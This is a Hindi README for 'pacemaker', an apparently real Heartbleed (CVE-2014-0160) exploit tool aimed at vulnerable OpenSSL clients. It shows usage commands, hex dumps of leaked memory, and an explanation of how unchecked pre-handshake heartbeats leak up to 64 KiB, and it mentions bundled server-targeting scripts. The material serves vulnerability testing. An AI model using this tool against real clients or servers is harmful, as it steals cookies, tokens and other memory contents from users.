
Heartbleed (CVE-2014-0160) क्लाइंट एक्सप्लॉइट
यह उन OpenSSL क्लाइंटों का दोहन करने का प्रयास है जो Heartbleed (CVE-2014-0160) के प्रति संवेदनशील हैं। Python 2 और 3 के साथ संगत।
सर्वर चलाएँ:
python pacemaker.py
अपने क्लाइंट में https://localhost:4433/ खोलें (यदि आवश्यक हो तो होस्टनाम बदलें)। उदाहरण के लिए:
curl https://localhost:4433/
क्लाइंट हमेशा कनेक्ट करने में विफल रहेगा:
curl: (35) Unknown SSL protocol error in connection to localhost:4433
यदि आप संवेदनशील नहीं हैं, तो सर्वर कुछ इस प्रकार आउटपुट देता है:
Connection from: 127.0.0.1:40736
Possibly not vulnerable
यदि आप संवेदनशील हैं, तो आपको कुछ इस प्रकार दिखाई देगा:
Connection from: 127.0.0.1:40738
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0..
0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@.......
8000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00 .............@..
...
e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42 ....`_....~...3B
e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00 ?...0...........
fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...............
NUL बाइट्स से भरी बाद की पंक्तियों को * के साथ एक पंक्ति में समेट दिया जाता है (xxd टूल की तरह)।
एक उदाहरण जहाँ wget -O /dev/null https://google.com https://localhost:4433 उपयोग करने पर अधिक "दिलचस्प" मेमोरी लीक होती है:
Connection from: 127.0.0.1:41914
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0..
0030: 05 00 0f 00 01 01 65 0d 0a 43 6f 6e 74 65 6e 74 ......e..Content
0040: 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c -Type: text/html
0050: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d ; charset=UTF-8.
...
0b50: 01 05 05 07 02 01 16 2d 68 74 74 70 73 3a 2f 2f .......-https://
0b60: 77 77 77 2e 67 65 6f 74 72 75 73 74 2e 63 6f 6d www.geotrust.com
0b70: 2f 72 65 73 6f 75 72 63 65 73 2f 72 65 70 6f 73 /resources/repos
0b80: 69 74 6f 72 79 30 0d 06 09 2a 86 48 86 f7 0d 01 itory0...*.H....
0b90: 01 05 05 00 03 81 81 00 76 e1 12 6e 4e 4b 16 12 ........v..nNK..
0ba0: 86 30 06 b2 81 08 cf f0 08 c7 c7 71 7e 66 ee c2 .0.........q~f..
0bb0: ed d4 3b 1f ff f0 f0 c8 4e d6 43 38 b0 b9 30 7d ..;.....N.C8..0}
0bc0: 18 d0 55 83 a2 6a cb 36 11 9c e8 48 66 a3 6d 7f ..U..j.6...Hf.m.
0bd0: b8 13 d4 47 fe 8b 5a 5c 73 fc ae d9 1b 32 19 38 ...G..Z\s....2.8
0be0: ab 97 34 14 aa 96 d2 eb a3 1c 14 08 49 b6 bb e5 ..4.........I...
0bf0: 91 ef 83 36 eb 1d 56 6f ca da bc 73 63 90 e4 7f ...6..Vo...sc...
0c00: 7b 3e 22 cb 3d 07 ed 5f 38 74 9c e3 03 50 4e a1 {>".=.._8t...PN.
0c10: af 98 ee 61 f2 84 3f 12 00 00 00 00 00 00 00 00 ...a..?.........
0c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@.......
...
ffd0: 00 00 00 00 5c d3 3c 02 00 00 00 00 49 53 4f 36 ....\.<.....ISO6
ffe0: 34 36 2d 53 45 2f 2f 00 53 45 4e 5f 38 35 30 32 46-SE//.SEN_8502
fff0: 30 30 5f 42 2f 2f 00 00 00 00 00 00 00 00 00 00_B//.........
TLS हार्टबीट्स TLS कनेक्शन के किसी भी पक्ष द्वारा भेजे जा सकते हैं। हैंडशेक पूरा होने के बाद, ये हार्टबीट्स एन्क्रिप्टेड होते हैं। लेकिन जाहिर तौर पर OpenSSL हैंडशेक पूरा होने से पहले ही हार्टबीट संदेशों की अनुमति देता है। ये हार्टबीट्स (रिकॉर्ड लेयर के ऊपर) बिल्कुल भी एन्क्रिप्टेड नहीं होते हैं!
यह क्लाइंट्स पर बग का दोहन करना बहुत आसान बनाता है:
ध्यान दें कि किसी प्रमाणपत्र की कोई आवश्यकता नहीं है क्योंकि किसी भी प्रमाणपत्र या एन्क्रिप्शन कुंजी के आदान-प्रदान से पहले हार्टबीट्स स्वीकार कर लिए जाते हैं। चूँकि हार्टबीट अनुरोधों की लंबाई की जाँच नहीं की जाती, क्लाइंट मेमोरी से 64 kiB तक डेटा पढ़ा जा सकता है।
pacemaker उपरोक्त चरणों को निष्पादित करता है और मानता है कि एक क्लाइंट संवेदनशील नहीं है यदि चरण 3 में Alerts के अलावा कोई डेटा परिणामित होता है। यदि कुछ प्रोटोकॉल (उदाहरण के लिए STARTTLS के साथ SMTP) के लिए आवश्यक हो, तो TLS हैंडशेक शुरू होने से पहले अतिरिक्त डेटा का आदान-प्रदान किया जाता है।
अधिक विकल्पों के लिए ./pacemaker.py -h चलाएँ। सबसे महत्वपूर्ण विकल्प शायद -t (--timeout) और -x (--count) हैं। डिफ़ॉल्ट टाइमआउट 3 सेकंड है जो अधिकांश क्लाइंट्स को प्रतिक्रिया देने के लिए पर्याप्त होना चाहिए (जब तक कि सैटेलाइट लिंक या कुछ और न हो)।
प्रति हार्टबीट अधिक धैर्य रखने (5 सेकंड) और चार हार्टबीट प्रतिक्रियाएँ प्राप्त करने का उदाहरण:
./pacemaker.py -t 5 -x 4
सिद्धांत रूप में, हार्टबीट्स अब बीस सेकंड ले सकते हैं, लेकिन व्यवहार में आपको बहुत तेज़ी से प्रतिक्रियाएँ मिलेंगी।
निम्नलिखित क्लाइंट्स का परीक्षण Arch Linux पर OpenSSL 1.0.1f के विरुद्ध किया गया है और हैंडशेक से पहले मेमोरी लीक हुई:
links एक बेहतरीन उदाहरण है जो क्लाइंट्स पर इस बग के प्रभाव को दर्शाता है। यह एक टेक्स्ट-आधारित ब्राउज़र है जो हेडर (कुकीज़, प्राधिकरण टोकन) और पेज सामग्री सहित विवरण लीक करता है।
pacemaker MIT लाइसेंस के तहत लाइसेंस प्राप्त है। अधिक विवरण के लिए LICENSE फ़ाइल देखें।
यह एक कार्यान्वयन है जो पैकेट तैयार करने के लिए pacemaker का उपयोग करता है। इसमें यह कमी है कि दोहराए गए अनुरोधों को हर प्रयास के लिए एक नया कनेक्शन स्थापित करना पड़ता है क्योंकि पहली हार्टबीट प्रतिक्रिया के बाद सर्वर तुरंत कनेक्शन रीसेट कर देता है।
यह कमी अपनाए गए दृष्टिकोण से उत्पन्न एक सीमा है, यदि हैंडशेक क्लाइंट द्वारा भी पूरा कर लिया जाए, तो कनेक्शन विफलताओं के बिना कई एन्क्रिप्टेड हैंडशेक भेजे जा सकते हैं।
heartbleed.py pacemaker का हिस्सा है, इसलिए यह समान लाइसेंस शर्तों के अंतर्गत आता है।
निम्नलिखित सर्वरों का परीक्षण Arch Linux पर OpenSSL 1.0.1f के विरुद्ध किया गया है (जब तक अन्यथा न कहा गया हो):
openssl s_server (HTTPS)इस रिपॉज़िटरी में सर्वरों को लक्षित करने वाला एक कार्यशील संस्करण भी शामिल है। ssltest.py को Jared Stafford ([email protected]) ने बनाया था, सारा श्रेय उन्हीं को जाता है! इसे http://s3.jspenguin.org/ssltest.py से प्राप्त किया गया था।
फिलहाल, यह स्क्रिप्ट केवल Python 2 के साथ संगत है।